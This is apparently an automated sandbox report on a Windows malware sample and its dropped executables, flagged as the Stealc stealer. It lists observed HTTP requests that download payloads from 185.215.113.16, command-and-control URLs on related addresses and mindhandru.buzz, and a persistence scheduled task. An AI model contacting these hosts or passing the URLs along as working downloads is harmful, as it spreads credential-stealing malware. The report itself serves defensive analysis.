Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

Code function: 5_2_00A4E0C0 recv,recv,recv,recv,

5_2_00A4E0C0

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/d
Source: mDuCbT8LnH.exe, mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeO
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exed
Source: mDuCbT8LnH.exe, mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe(
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeL
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeV
Source: mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#_
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/F#
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpGXD
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpKXP
Source: V4H7WRUUSV81II1QF.exe, 00000003.00000002.2464807100.0000000000E9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpfH4
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php3L
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpindows
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpj
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedc
Source: skotes.exe, 00000007.00000002.3347953760.0000000000BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedx
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209734665.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389361856.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230821865.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389476047.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: mDuCbT8LnH.exe, 00000000.00000003.2183316830.000000000567B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: mDuCbT8LnH.exe, mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2159502377.000000000564B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/
Source: mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/:
Source: mDuCbT8LnH.exe, 00000000.00000003.2210193287.0000000000E33000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209617377.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/D
Source: mDuCbT8LnH.exe, 00000000.00000003.2209543082.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2182723985.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209237506.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2182383491.000000000564B000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/api
Source: mDuCbT8LnH.exe, 00000000.00000003.2207649242.0000000005649000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2230806042.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2388888878.0000000005649000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389887617.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2248138925.0000000005650000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2207689578.000000000564E000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2247801054.0000000005650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apil
Source: mDuCbT8LnH.exe, 00000000.00000003.2389615438.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/apis
Source: mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136138838.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/d
Source: mDuCbT8LnH.exe, 00000000.00000003.2230769434.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/opp
Source: mDuCbT8LnH.exe, 00000000.00000003.2389175343.0000000000EB9000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2390048981.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2389939462.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/p
Source: mDuCbT8LnH.exe, 00000000.00000003.2210193287.0000000000E33000.00000004.00000020.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2209617377.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz/s
Source: mDuCbT8LnH.exe, 00000000.00000003.2136051820.0000000000E62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mindhandru.buzz:443/apid
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: mDuCbT8LnH.exe, 00000000.00000003.2184940596.000000000563F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: mDuCbT8LnH.exe, 00000000.00000003.2136865089.00000000055FE000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136920716.00000000055FB000.00000004.00000800.00020000.00000000.sdmp, mDuCbT8LnH.exe, 00000000.00000003.2136990485.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: mDuCbT8LnH.exe, 00000000.00000003.2184561091.00000000058E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.5:49725 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.V4H7WRUUSV81II1QF.exe.10000.0.unpack, type: UNPACKEDPE

Matched rule: Finds Stealc standalone samples (or dumps) based on the strings Author: Sekoia.io

PE file contains section with special chars

Source: mDuCbT8LnH.exe	Static PE information: section name:
Source: mDuCbT8LnH.exe	Static PE information: section name: .idata
Source: mDuCbT8LnH.exe	Static PE information: section name:
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name:
Source: V4H7WRUUSV81II1QF.exe.0.dr	Static PE information: section name: .idata
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name:
Source: 40KDYYZHGE3JBLN65FUJY4PQI.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_002ACB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

7_2_002ACB97

Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC549D	0_3_00EC549D
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC549D	0_3_00EC549D
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC549D	0_3_00EC549D
Source: C:\Users\user\Desktop\mDuCbT8LnH.exe	Code function: 0_3_00EC549D	0_3_00EC549D
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A878BB	5_2_00A878BB
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A88860	5_2_00A88860
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A87049	5_2_00A87049
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A831A8	5_2_00A831A8
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00B581D3	5_2_00B581D3
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A44B30	5_2_00A44B30
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A44DE0	5_2_00A44DE0
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A82D10	5_2_00A82D10
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A8779B	5_2_00A8779B
Source: C:\Users\user\AppData\Local\Temp\40KDYYZHGE3JBLN65FUJY4PQI.exe	Code function: 5_2_00A77F36	5_2_00A77F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002D8860	6_2_002D8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002D7049	6_2_002D7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002D78BB	6_2_002D78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002D31A8	6_2_002D31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00294B30	6_2_00294B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002D2D10	6_2_002D2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00294DE0	6_2_00294DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002C7F36	6_2_002C7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_002D779B	6_2_002D779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_002B6192	7_2_002B6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_0029E530	7_2_0029E530
